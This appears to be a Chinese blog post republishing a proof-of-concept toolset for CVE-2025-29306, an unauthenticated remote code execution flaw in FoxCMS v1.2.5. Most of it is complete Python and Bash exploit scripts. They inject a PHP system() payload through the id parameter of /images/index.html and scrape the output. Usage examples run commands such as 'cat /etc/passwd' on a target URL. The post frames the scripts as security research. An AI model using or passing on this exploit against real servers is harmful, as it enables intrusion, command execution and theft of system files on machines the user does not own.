news 2026/6/26 8:52:33

FoxCMS v1.2.5 远程代码执行漏洞利用工具集

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
FoxCMS v1.2.5 远程代码执行漏洞利用工具集

项目标题与描述

本项目是针对 CVE-2025-29306 安全漏洞的概念验证(PoC)工具集。该漏洞影响 FoxCMS v1.2.5 及更早版本,允许攻击者通过/images/index.html端点中的id参数,利用 PHP 反序列化漏洞实现远程代码执行(RCE),无需任何身份验证即可在目标系统上执行任意命令。

项目包含两个独立的漏洞利用脚本:一个用 Python 编写,另一个用 Bash 编写,均能有效验证目标系统是否存在该高危漏洞。

功能特性

  • 无认证远程代码执行:无需任何登录凭证即可在目标服务器上执行系统命令。
  • 双语言实现:提供 Python 和 Bash 两种脚本,适应不同渗透测试环境。
  • 精确输出解析:利用 XPath 定位 HTML 响应中的命令输出结果,提高结果准确性。
  • 简单易用:只需提供目标 URL 和待执行的命令即可进行漏洞验证。
  • 安全研究用途:专为安全研究人员、渗透测试人员和系统管理员设计,用于评估和防御该漏洞。

安装指南

Python 版本要求

系统要求

  • Python 3.6 或更高版本
  • Linux/macOS/Windows(支持 Bash 的环境)

安装步骤

  1. 克隆或下载本工具集到本地:
gitclone<repository-url>cdfoxcms-rce-poc
  1. 安装必要的 Python 依赖:
pipinstallrequests lxml
  1. (可选)为 Bash 版本安装必要的系统工具:
# 对于 Ubuntu/Debiansudoapt-getinstallcurlxmllint python3# 对于 CentOS/RHELsudoyuminstallcurllibxml2 python3

依赖项

  • Python 版本:requestslxml
  • Bash 版本:curlxmllintpython3

使用说明

Python 版本使用示例

# 基本用法python3 CVE-2025-29306.py<目标URL>"<命令>"# 实际示例:检测系统信息python3 CVE-2025-29306.py http://example.com"id; uname -a"# 实际示例:列出目录内容python3 CVE-2025-29306.py http://vulnerable-site.com"ls -la /var/www"

Bash 版本使用示例

# 基本用法./CVE-2025-29306.sh<目标URL>"<命令>"# 实际示例./CVE-2025-29306.sh http://example.com"cat /etc/passwd"

API 概览

两个工具都接受相同的参数格式:

  1. 目标URL:存在漏洞的 FoxCMS 实例地址(如http://192.168.1.100
  2. 命令:要在目标系统上执行的系统命令(如"whoami"

执行流程:

  1. 工具将命令嵌入 PHP 反序列化载荷
  2. 发送特制请求到/images/index.html端点
  3. 解析响应并提取命令执行结果
  4. 显示输出并报告漏洞状态

核心代码

Python 版本核心代码

#!/usr/bin/env python3""" PoC for CVE-2025-29306: Unauthenticated RCE in FoxCMS v1.2.5 Unsafe deserialization of 'id' param in /images/index.html leading to arbitrary command execution. Usage: python3 CVE-2025-29306.py <target_url> <command> Example: python3 CVE-2025-29306.py http://example.com "id; uname -a" Dependencies: requests, lxml """importsysimportrequestsfromurllib.parseimportquotefromlxmlimporthtmldefexploit(target_url,command):# 构造PHP载荷:${@print_r(@system("COMMAND"))} - 通过unserialize反序列化执行payload=f"${{@print_r(@system('{command}'))}}"encoded_payload=quote(payload,safe='')# 易受攻击的端点url=f"{target_url.rstrip('/')}/images/index.html?id={encoded_payload}"print(f"[*] Targeting:{url}")print(f"[*] Executing command:{command}")try:# 发送GET请求(无需认证)response=requests.get(url,timeout=10,verify=False)ifresponse.status_code!=200:print(f"[-] Unexpected status code:{response.status_code}")returnFalse# 解析HTML响应;根据漏洞详情输出反映在<header>下的<ul>中tree=html.fromstring(response.content)ul_elements=tree.xpath('/html/body/header/div[1]/div[2]/div[1]/ul/text()')ifnotul_elements:print("[-] No output found in expected XPath. Target may not be vulnerable or output hidden.")returnFalse# 清理并提取输出(去除标签/空白)output=' '.join([elem.strip()foreleminul_elementsifelem.strip()])ifoutput:print(f"[+] SUCCESS! Command Output:\n{output}")returnTrueelse:print("[-] Command executed but no output captured.")returnTrue# 如果响应被处理,仍然易受攻击exceptrequests.exceptions.RequestExceptionase:print(f"[-] Request failed:{e}")returnFalseexceptExceptionase:print(f"[-] Parsing error:{e}")returnFalseif__name__=="__main__":iflen(sys.argv)!=3:print("Usage: %s <target_url> <command>"%sys.argv[0])sys.exit(1)target=sys.argv[1]cmd=sys.argv[2]ifexploit(target,cmd):print("[+] Target is VULNERABLE to CVE-2025-29306!")else:print("[-] Exploit failed or target not vulnerable.")sys.exit(0)

Bash 版本核心代码

#!/bin/bashbanner(){cat<<'EOF' ██████╗ ██╗ █████╗ ██████╗ ██╗ ██╗ █████╗ ███████╗ ██╗ ██╗ ██╔══██╗ ██║ ██╔══██╗ ██╔════╝ ██║ ██╔╝ ██╔══██╗ ██╔════╝ ██║ ██║ ██████╔╝ ██║ ███████║ ██║ █████╔╝ ███████║ ███████╗ ███████║ ██╔══██╗ ██║ ██╔══██║ ██║ ██╔═██╗ ██╔══██║ ╚════██║ ██╔══██║ ██████╔╝ ███████╗ ██║ ██║ ╚██████╗ ██║ ██╗ ██║ ██║ ███████║ ██║ ██║ ╚═════╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚═╝ ╚═╝ FoxCMS Remote Code Execution (CVE-2025-29306) EOF}# 调用横幅函数bannerset-e# 检查参数数量是否正确if["$#"-ne2];thenprintf"Usage:$0<url> <command>"exit1fiTARGET=$1# 编码载荷ENCODED_CMD=$(python3-c"import urllib.parse;print(urllib.parse.quote('\${@print_r(@system(\"$2\"))}'))") FULL_URL="${TARGET}?id=${ENCODED_CMD}" echo "[*] Sending RCE payload: $2" HTML=$(curl -s "$FULL_URL") # 使用xmllint从已知XPath位置提取<ul>内容 UL_CONTENT=$(echo "$HTML" | xmllint --html --xpath "/html/body/header/div[1]/div[2]/div[1]/ul" - 2>/dev/null) # 去除标签,清理输出 CLEANED=$(echo "$UL_CONTENT" | sed 's/<[^>]*>//g' | sed '/^$/d' | sed 's/^[[:space:]]*//')echoecho"[+] Command Output:"echo"$CLEANED"

6HFtX5dABrKlqXeO5PUv/ydjQZDJ7Ct83xG1NG8fcANCl1LoX+DdxvlKlOyiHl/4
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/25 23:24:19

高效鼠标自动化工具:从技术原理到实战应用全解析

高效鼠标自动化工具&#xff1a;从技术原理到实战应用全解析 【免费下载链接】MouseClick &#x1f5b1;️ MouseClick &#x1f5b1;️ 是一款功能强大的鼠标连点器和管理工具&#xff0c;采用 QT Widget 开发 &#xff0c;具备跨平台兼容性 。软件界面美观 &#xff0c;操作直…

作者头像 李华
网站建设 2026/6/20 14:58:31

【VSCode Claude 技能使用全攻略】:掌握AI编程的5大核心技巧

第一章&#xff1a;VSCode Claude 技能概览 VSCode 与 Claude 的集成正在成为开发者提升编码效率的重要工具组合。通过插件化方式&#xff0c;Claude 可在 VSCode 环境中提供智能代码补全、自然语言到代码的转换、代码解释与重构建议等功能&#xff0c;极大增强了开发者的上下文…

作者头像 李华
网站建设 2026/6/24 8:35:51

qmc-decoder终极指南:快速解锁加密音乐文件的完整解决方案

qmc-decoder终极指南&#xff1a;快速解锁加密音乐文件的完整解决方案 【免费下载链接】qmc-decoder Fastest & best convert qmc 2 mp3 | flac tools 项目地址: https://gitcode.com/gh_mirrors/qm/qmc-decoder 还在为那些只能在特定播放器中播放的加密音乐文件而烦…

作者头像 李华
网站建设 2026/6/15 15:01:44

Figma中文界面翻译插件完整指南:让设计工作更高效

Figma中文界面翻译插件完整指南&#xff1a;让设计工作更高效 【免费下载链接】figmaCN 中文 Figma 插件&#xff0c;设计师人工翻译校验 项目地址: https://gitcode.com/gh_mirrors/fi/figmaCN Figma中文插件是一款专为中文用户打造的界面翻译工具&#xff0c;通过精准…

作者头像 李华
网站建设 2026/6/15 11:19:39

SO-VITS-SVC 5.0歌声转换技术完整实战手册:从原理到应用

SO-VITS-SVC 5.0歌声转换技术完整实战手册&#xff1a;从原理到应用 【免费下载链接】so-vits-svc-5.0 Core Engine of Singing Voice Conversion & Singing Voice Clone 项目地址: https://gitcode.com/gh_mirrors/so/so-vits-svc-5.0 SO-VITS-SVC 5.0歌声转换技术…

作者头像 李华
网站建设 2026/6/25 4:48:18

揭秘VSCode中语言模型管理难题:3步实现智能补全精准化

第一章&#xff1a;VSCode语言模型管理的核心挑战在现代开发环境中&#xff0c;VSCode 已成为主流代码编辑器之一&#xff0c;其通过集成语言服务器协议&#xff08;LSP&#xff09;支持多种编程语言的智能补全、语法检查与导航功能。然而&#xff0c;随着项目规模扩大和多语言…

作者头像 李华